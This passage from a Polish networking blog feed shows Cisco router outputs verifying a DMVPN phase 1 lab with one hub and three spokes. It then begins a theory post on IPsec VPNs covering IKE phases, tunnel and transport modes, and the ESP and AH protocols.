nhrp</span><br /><span style="color: #000000;">172.22.10.2/32 via 172.22.10.2</span><br /><span style="color: #000000;"> Tunnel0 created 01:37:43, expire 01:42:15</span><br /><span style="color: #000000;"> Type: dynamic, Flags: unique registered used</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.2</span><br /><span style="color: #000000;">172.22.10.3/32 via 172.22.10.3</span><br /><span style="color: #000000;"> Tunnel0 created 01:37:44, expire 01:42:15</span><br /><span style="color: #000000;"> Type: dynamic, Flags: unique registered used</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.3</span><br /><span style="color: #000000;">172.22.10.4/32 via 172.22.10.4</span><br /><span style="color: #000000;"> Tunnel0 created 01:37:44, expire 01:42:15</span><br /><span style="color: #000000;"> Type: dynamic, Flags: unique registered used</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.4</span></pre><p><strong><span style="color: #000000;">SPOKE1 (R2)</span></strong></p><pre><span style="color: #000000;">SPOKE1#show dmvpn</span><br /><span style="color: #000000;">Legend: Attrb --&gt; S - Static, D - Dynamic, I - Incomplete</span><br /><span style="color: #000000;"> N - NATed, L - Local, X - No Socket</span><br /><span style="color: #000000;"> # Ent --&gt; Number of NHRP entries with same NBMA peer</span><br /><span style="color: #000000;"> NHS Status: E --&gt; Expecting Replies, R --&gt; Responding, W --&gt; Waiting</span><br /><span style="color: #000000;"> UpDn Time --&gt; Up or Down Time for a Tunnel</span><br /><span style="color: #000000;">==========================================================================</span><br /><br /><span style="color: #000000;">Interface: Tunnel0, IPv4 NHRP Details</span><br /><span style="color: #000000;">Type:Spoke, NHRP Peers:1,</span><br /><br /><span style="color: #000000;"># Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb</span><br /><span style="color: #000000;"> ----- --------------- --------------- ----- -------- -----</span><br /><span style="color: #000000;"> 1 192.168.10.1 172.22.10.1 UP 01:39:36 S</span></pre><pre><span style="color: #000000;">SPOKE1#show ip nhrp</span><br /><span style="color: #000000;">172.22.10.1/32 via 172.22.10.1</span><br /><span style="color: #000000;"> Tunnel0 created 01:40:09, never expire</span><br /><span style="color: #000000;"> Type: static, Flags:</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.1</span></pre><p><strong><span style="color: #000000;">SPOKE2 (R3)</span></strong></p><pre><span style="color: #000000;">SPOKE2#show dmvpn</span><br /><span style="color: #000000;">Legend: Attrb --&gt; S - Static, D - Dynamic, I - Incomplete</span><br /><span style="color: #000000;"> N - NATed, L - Local, X - No Socket</span><br /><span style="color: #000000;"> # Ent --&gt; Number of NHRP entries with same NBMA peer</span><br /><span style="color: #000000;"> NHS Status: E --&gt; Expecting Replies, R --&gt; Responding, W --&gt; Waiting</span><br /><span style="color: #000000;"> UpDn Time --&gt; Up or Down Time for a Tunnel</span><br /><span style="color: #000000;">==========================================================================</span><br /><br /><span style="color: #000000;">Interface: Tunnel0, IPv4 NHRP Details</span><br /><span style="color: #000000;">Type:Spoke, NHRP Peers:1,</span><br /><br /><span style="color: #000000;"># Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb</span><br /><span style="color: #000000;"> ----- --------------- --------------- ----- -------- -----</span><br /><span style="color: #000000;"> 1 192.168.10.1 172.22.10.1 UP 01:40:38 S</span></pre><pre><span style="color: #000000;">SPOKE2#show ip nhrp</span><br /><span style="color: #000000;">172.22.10.1/32 via 172.22.10.1</span><br /><span style="color: #000000;"> Tunnel0 created 01:41:17, never expire</span><br /><span style="color: #000000;"> Type: static, Flags:</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.1</span></pre><p><strong><span style="color: #000000;">SPOKE3 (R4)</span></strong></p><pre><span style="color: #000000;">SPOKE3#show dmvpn</span><br /><span style="color: #000000;">Legend: Attrb --&gt; S - Static, D - Dynamic, I - Incomplete</span><br /><span style="color: #000000;"> N - NATed, L - Local, X - No Socket</span><br /><span style="color: #000000;"> # Ent --&gt; Number of NHRP entries with same NBMA peer</span><br /><span style="color: #000000;"> NHS Status: E --&gt; Expecting Replies, R --&gt; Responding, W --&gt; Waiting</span><br /><span style="color: #000000;"> UpDn Time --&gt; Up or Down Time for a Tunnel</span><br /><span style="color: #000000;">==========================================================================</span><br /><br /><span style="color: #000000;">Interface: Tunnel0, IPv4 NHRP Details</span><br /><span style="color: #000000;">Type:Spoke, NHRP Peers:1,</span><br /><br /><span style="color: #000000;"># Ent Peer NBMA Addr Peer Tunnel Add State UpDn Tm Attrb</span><br /><span style="color: #000000;"> ----- --------------- --------------- ----- -------- -----</span><br /><span style="color: #000000;"> 1 192.168.10.1 172.22.10.1 UP 01:41:40 S</span></pre><pre><span style="color: #000000;">SPOKE3#show ip nhrp</span><br /><span style="color: #000000;">172.22.10.1/32 via 172.22.10.1</span><br /><span style="color: #000000;"> Tunnel0 created 01:42:22, never expire</span><br /><span style="color: #000000;"> Type: static, Flags:</span><br /><span style="color: #000000;"> NBMA address: 192.168.10.1</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f0ff15a" class="elementor-element elementor-element-f0ff15a elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="5140eb2" class="elementor-element elementor-element-5140eb2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="d1bee35" class="elementor-element elementor-element-d1bee35 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;"><strong>WERYFIKACJA</strong></span></h5><p><span style="color: #000000;">traceroute SPOKE1 -&gt; SPOKE2</span></p><pre><span style="color: #000000;">SPOKE1#traceroute 172.22.10.3</span><br /><span style="color: #000000;">Type escape sequence to abort.</span><br /><span style="color: #000000;">Tracing the route to 172.22.10.3</span><br /><span style="color: #000000;">VRF info: (vrf in name/id, vrf out name/id)</span><br /><span style="color: #000000;"> 1 172.22.10.1 20 msec 8 msec 12 msec</span><br /><span style="color: #000000;"> 2 172.22.10.3 32 msec 20 msec 24 msec</span></pre><p><span style="color: #000000;">traceroute SPOKE1 -&gt; SPOKE3 </span></p><pre><span style="color: #000000;">SPOKE1#traceroute 172.22.10.4</span><br /><span style="color: #000000;">Type escape sequence to abort.</span><br /><span style="color: #000000;">Tracing the route to 172.22.10.4</span><br /><span style="color: #000000;">VRF info: (vrf in name/id, vrf out name/id)</span><br /><span style="color: #000000;"> 1 172.22.10.1 16 msec 8 msec 8 msec</span><br /><span style="color: #000000;"> 2 172.22.10.4 20 msec 20 msec 24 msec</span></pre><p><span style="color: #000000;">traceroute SPOKE2 -&gt; SPOKE3</span></p><pre><span style="color: #000000;">SPOKE2#traceroute 172.22.10.4</span><br /><span style="color: #000000;">Type escape sequence to abort.</span><br /><span style="color: #000000;">Tracing the route to 172.22.10.4</span><br /><span style="color: #000000;">VRF info: (vrf in name/id, vrf out name/id)</span><br /><span style="color: #000000;"> 1 172.22.10.1 20 msec 20 msec 12 msec</span><br /><span style="color: #000000;"> 2 172.22.10.4 20 msec 20 msec 32 msec</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b17b5e7" class="elementor-element elementor-element-b17b5e7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="589037f" class="elementor-element elementor-element-589037f elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c878c6c" class="elementor-element elementor-element-c878c6c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać ruch między oddziałami typu SPOKE (172.22.10.2,172.22.10.3,172.22.10.4) odbywa się przez HUB (172.22.10.1). Wyjaśnienie działania DMVPN oraz więcej informacji na temat pozostałych faz DMVPN w następnych wpisach.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPSEC VPN &#8211; teoria</title>
		<link>https://kubsoo.github.io/rsnet-website/ipsec-vpn-teoria/</link>
		<comments>https://kubsoo.github.io/rsnet-website/ipsec-vpn-teoria/#respond</comments>
		<pubDate>Sun, 17 Dec 2017 20:41:10 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[ike]]></category>
		<category><![CDATA[ipsec]]></category>
		<category><![CDATA[teoria]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=925</guid>
		<description><![CDATA[Czym jest IPSEC ? IPSEC jest zestawem protokołów, który pozwala na zestawianie bezpiecznego szyfrowanego tunelu pomiędzy dwoma urządzeniami sieciowymi za pośrednictwem internetu. IPSEC zapewnia uwierzytelnianie stron biorących udział w zestawieniu&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-925">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="f566fd3" class="elementor-element elementor-element-f566fd3 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="022622b" class="elementor-element elementor-element-022622b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="78df4b8" class="elementor-element elementor-element-78df4b8 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">Czym jest IPSEC ?</span></strong></p><p style="text-align: justify;"><span style="color: #000000;">IPSEC jest zestawem protokołów, który pozwala na zestawianie bezpiecznego szyfrowanego tunelu pomiędzy dwoma urządzeniami sieciowymi za pośrednictwem internetu. IPSEC zapewnia uwierzytelnianie stron biorących udział w zestawieniu tunelu oraz integralność,  poufność przesyłanych danych i ochronę przed atakimi powtórzeniowymi (replay protection). IPSEC służy do budowania sieci VPN w Internecie.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1fe0fbc" class="elementor-element elementor-element-1fe0fbc elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="490e628" class="elementor-element elementor-element-490e628 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4f300be" class="elementor-element elementor-element-4f300be elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="619" height="304" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_1.png 619w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_1-300x147.png 300w" sizes="(max-width: 619px) 100vw, 619px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="6824db6" class="elementor-element elementor-element-6824db6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c00cd1a" class="elementor-element elementor-element-c00cd1a elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4fedc41" class="elementor-element elementor-element-4fedc41 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">Funkcje bezpieczeństwa IPSEC:</span></strong></p><p><span style="color: #000000;">1. Uwierzytelnianie</span></p><p style="text-align: justify;"><span style="color: #000000;">Obie strony biorące udział w zestawianiu tunelu muszą zostać uwierzytelnione, które potwierdzania tożsamości obu stron podczas komunikacji. W IPSEC istnieją 3 metody uwierzytelniania:</span></p><ul><li><span style="color: #000000;">wstępnie uzgodnione klucze (preshared keys)</span></li><li><span style="color: #000000;">klucze RSA (klucze prywatne i publiczne)</span></li><li><span style="color: #000000;">certyfikaty</span></li></ul><p><span style="color: #000000;">2. Integralność danych</span></p><p style="text-align: justify;"><span style="color: #000000;">Ta funkcja zapewnia, że dane nie zostały zmienione podczas stransmisji. Służą do tego algorytmy haszujące (SHA, MD5)</span></p><p style="text-align: justify;"><span style="color: #000000;">3. Poufność przesyłanych danych </span></p><p style="text-align: justify;"><span style="color: #000000;">Poufność przesyłanych danych w IPSEC otrzymuje się poprzez szyfrowanie danych. Rodzaje stosowanego szyfrowania (DES, 3DES, AES)</span></p><p style="text-align: justify;"><span style="color: #000000;">4. Ochrona odtwarzania</span></p><p style="text-align: justify;"><span style="color: #000000;">Zapewnia otrzymanie danego pakietu tylko raz. Jest to realizowane przez numer sekwencyjny. Każdemu pakietowi nadawany jest numer sekwencyjny. Numer sekwencyjny jest losowany i zwiększany o 1 z każdym wysłanym przez dany kanał pakietem i służy do rozpoznawania pakietów o kolejności przestawionej podczas wędrówki po sieci oraz chroni przed atakami powtórzeniowymi</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="db134b2" class="elementor-element elementor-element-db134b2 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="f6b4412" class="elementor-element elementor-element-f6b4412 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f8be596" class="elementor-element elementor-element-f8be596 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;"><strong>Tryby IPSEC</strong></span></p><p style="text-align: justify;"><span style="color: #000000;">IPSEC VPN może być skonfigurowane w dwóch trybach:</span></p><ul><li style="text-align: justify;"><span style="color: #000000;">tryb tunelowy</span></li></ul><p style="text-align: justify;"><span style="color: #000000;">domyślny tryb, cały pakiet IP jest szyfrowany przez IPSEC, włącznie z nagłówkiem IP, dodawany jest nowy nagłówek IP. Mówiąc to w prostych słowach, w tym trybie nie widzimy kto ze sobą rozmawia ani o czym.</span></p><ul><li style="text-align: justify;"><span style="color: #000000;">tryb transportowy</span></li></ul><p style="text-align: justify;"><span style="color: #000000;">obejmuje szyfrowanie samych danych, pozostawiając oryginalny nagłówek IP, nowy nagłówek jest dodawany pomiędzy nagłówkiem IP a nagłówkiem transportowym (L4)</span></p><p style="text-align: justify;"><span style="color: #000000;">Tryb tunelowy stosuje się między routerami/gatewayami, natomiast tryb transportowy stosuje się do tworzenia sieci VPN pomiędzy komputerami.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="02b2106" class="elementor-element elementor-element-02b2106 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="2f5e15e" class="elementor-element elementor-element-2f5e15e elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8ba7364" class="elementor-element elementor-element-8ba7364 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">Nagłówki IPSEC</span></strong></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="3cfc15f" class="elementor-element elementor-element-3cfc15f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="3e8efa3" class="elementor-element elementor-element-3e8efa3 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1ac6d12" class="elementor-element elementor-element-1ac6d12 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_2.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="480" height="440" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_2.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_2.png 480w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_2-300x275.png 300w" sizes="(max-width: 480px) 100vw, 480px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="8e33f6a" class="elementor-element elementor-element-8e33f6a elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="03be173" class="elementor-element elementor-element-03be173 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="9a15a1a" class="elementor-element elementor-element-9a15a1a elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">Protokoły wykorzystywane przez IPSEC</span></strong></p><p><span style="color: #000000;">IPSEC korzysta z trzech podstawowych protokołów:</span></p><ul><li><span style="color: #000000;">IKE (Internet Key Exchange)</span></li><li><span style="color: #000000;">ESP (Encapsulating Security Payload</span></li><li><span style="color: #000000;">AH (Authentication Header)</span></li></ul></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="889db17" class="elementor-element elementor-element-889db17 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="1c76d60" class="elementor-element elementor-element-1c76d60 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="0c5cd02" class="elementor-element elementor-element-0c5cd02 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">IKE (Internet Key Exchange)</span></strong></p><p style="text-align: justify;"><span style="color: #000000;">Przed zestawieniem tunelu IPSec konieczne jest ustalenie związków bezpieczeństwa (Security Association). Może być to realizowane ręcznie albo przy użyciu protokołu IKE. IKE posiada dwie wersje (IKEv1 oraz IKEv2). W tym wpisie będę odwoływał się do wersji IKEv1. Wszystkie informacje o IKE można znaleźć w poniższych RFC:</span></p><p style="text-align: justify;"><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://www.ietf.org/rfc/rfc5996.txt" title="">https://www.ietf.org/rfc/rfc5996.txt</a></span></p><p><span style="color: #ff0000;"><a style="color: #ff0000;" href="https://www.ietf.org/rfc/rfc2409.txt" title="">https://www.ietf.org/rfc/rfc2409.txt</a></span></p><p style="text-align: justify;"><span style="color: #000000;"> Protokół IKE bazuje na algorytmie Diffiego-Hellmana, który pozwala w bezpieczny sposób wyznaczyć bezpieczny klucz sesji.</span></p><p style="text-align: justify;"><span style="color: #000000;">Nawiązanie bezpiecznej sesji IKE składa się z z dwóch faz.</span></p><ul><li style="text-align: justify;"><span style="color: #000000;">faza 1 &#8211; ISAKMP phase 1 w trakcie której tworzy się IKE SA </span></li><li style="text-align: justify;"><span style="color: #000000;">faza 2 &#8211; w trakcie której tworzy się IPSEC SA</span></li></ul><p style="text-align: justify;"><span style="color: #000000;">W fazie 1 następuje uwierzytelnienie stron komunikujących się między sobą, wybór algorytmów uwierzytelniania, ochrony poufności, integralności, sposób wyboru klucza sesji, ustalenie klucza sesji itp. Wynikiem tej fazy jest ISAKMP SA &#8211; security association, które służy dalszej ochronie komunikacji odbywającej się w fazie 2. Utworzone w fazie pierwszej SA jest dwukierunkowe. Standardowo kanał wymiany kluczy działa na porcie UDP/500. Faza 1 może być przeprowadzana w jednym z dwóch trybów: </span></p><ul><li><span style="color: #000000;">main mode</span></li><li><span style="color: #000000;">aggressive mode</span></li></ul><p style="text-align: justify;"><span style="color: #000000;">W trybie main  mode przy preshared keys wymienianych jest 6 wiadomości pomiędzy stronami do utworzenia IKE SA. W trybie aggressive mode IKE SA jest tworzone po 3 wiadomościach.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="4cd6464" class="elementor-element elementor-element-4cd6464 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9d5b236" class="elementor-element elementor-element-9d5b236 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f88ffbf" class="elementor-element elementor-element-f88ffbf elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_3.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="480" height="440" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_3.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_3.png 480w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_3-300x275.png 300w" sizes="(max-width: 480px) 100vw, 480px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="d076e61" class="elementor-element elementor-element-d076e61 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e0bc782" class="elementor-element elementor-element-e0bc782 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="29f5fec" class="elementor-element elementor-element-29f5fec elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_4.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="480" height="340" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_4.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_4.png 480w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_4-300x213.png 300w" sizes="(max-width: 480px) 100vw, 480px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="094d661" class="elementor-element elementor-element-094d661 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="bc659e8" class="elementor-element elementor-element-bc659e8 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f1aae17" class="elementor-element elementor-element-f1aae17 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">LEGENDA:</span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>SA (Security Association) </strong>&#8211; propozycje algorytmów szyfrowania, funkcji skrótu, metod uwierzytelniania, grupy DH&#8230;</span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>klucz</strong> &#8211; służy do wygenerowania algorytmem Diffie Hellman współdzielonego klucza do szyfrowania transmisji</span></p><p style="text-align: justify;"><strong><span style="color: #000000;">Ni, Nr</span></strong><span style="color: #000000;"> &#8211; losowy numer, który jest użyty tylko raz i zapobiega atakom powtórzeniowym </span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>IDii, IDir</strong> &#8211; tożsamość stron  biorących udział w negocjacji IKE SA, mogą to być adresy IP lub FQDN</span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>Hash_I, Hash_R</strong> &#8211; hash który powstaje na podstawie klucza, IDii/IDir i danych.</span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>Nagłówek ISAKMP*</strong> &#8211; oznacza że jest to nagłówek zaszyfrowany  </span></p><p> </p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="8a7fa3c" class="elementor-element elementor-element-8a7fa3c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="10b7308" class="elementor-element elementor-element-10b7308 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="42573e7" class="elementor-element elementor-element-42573e7 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">W fazie 2 zostanie utworzone IPSEC SA, które będzie służyć do ochrony ruchu między komunikującymi się stronami, wykorzystując protokoły ESP i AH. SA w fazie drugiej jest jednokierunkowe, więc tworzone są 2 SA dla komunikacji w obie strony.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="150edda" class="elementor-element elementor-element-150edda elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="5214725" class="elementor-element elementor-element-5214725 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a524200" class="elementor-element elementor-element-a524200 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><strong><span style="color: #000000;">ESP i AH</span></strong></p><div><span style="color: #000000;">ESP (Encapsulating Security Payload):</span></div><ul><li style="text-align: justify;"><span style="color: #000000;">ESP zapewnia szyfrowanie, uwierzytelnianie i integralność danych</span></li><li><span style="color: #000000;">protokół IP numer 50</span></li><li><span style="color: #000000;">większy narzut niż w AH</span></li></ul><div> </div><div><span style="color: #000000;">AH (Authentication Header):</span></div><ul><li style="text-align: justify;"><span style="color: #000000;">AH zapewnia uwierzytelnianie, integralność danych, ale nie zapewnia poufności jak ESP.</span></li><li><span style="color: #000000;">protokół IP numer 51</span></li><li><span style="color: #000000;">mniejszy narzut niż w ESP</span></li></ul><p> </p><p><span style="color: #000000;">Nagłówki ESP i AH w trybie transportowym:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="4ca1479" class="elementor-element elementor-element-4ca1479 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="a38a638" class="elementor-element elementor-element-a38a638 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="10c120e" class="elementor-element elementor-element-10c120e elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_5.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-4" data-rl_title="" data-rl_caption="" title="">
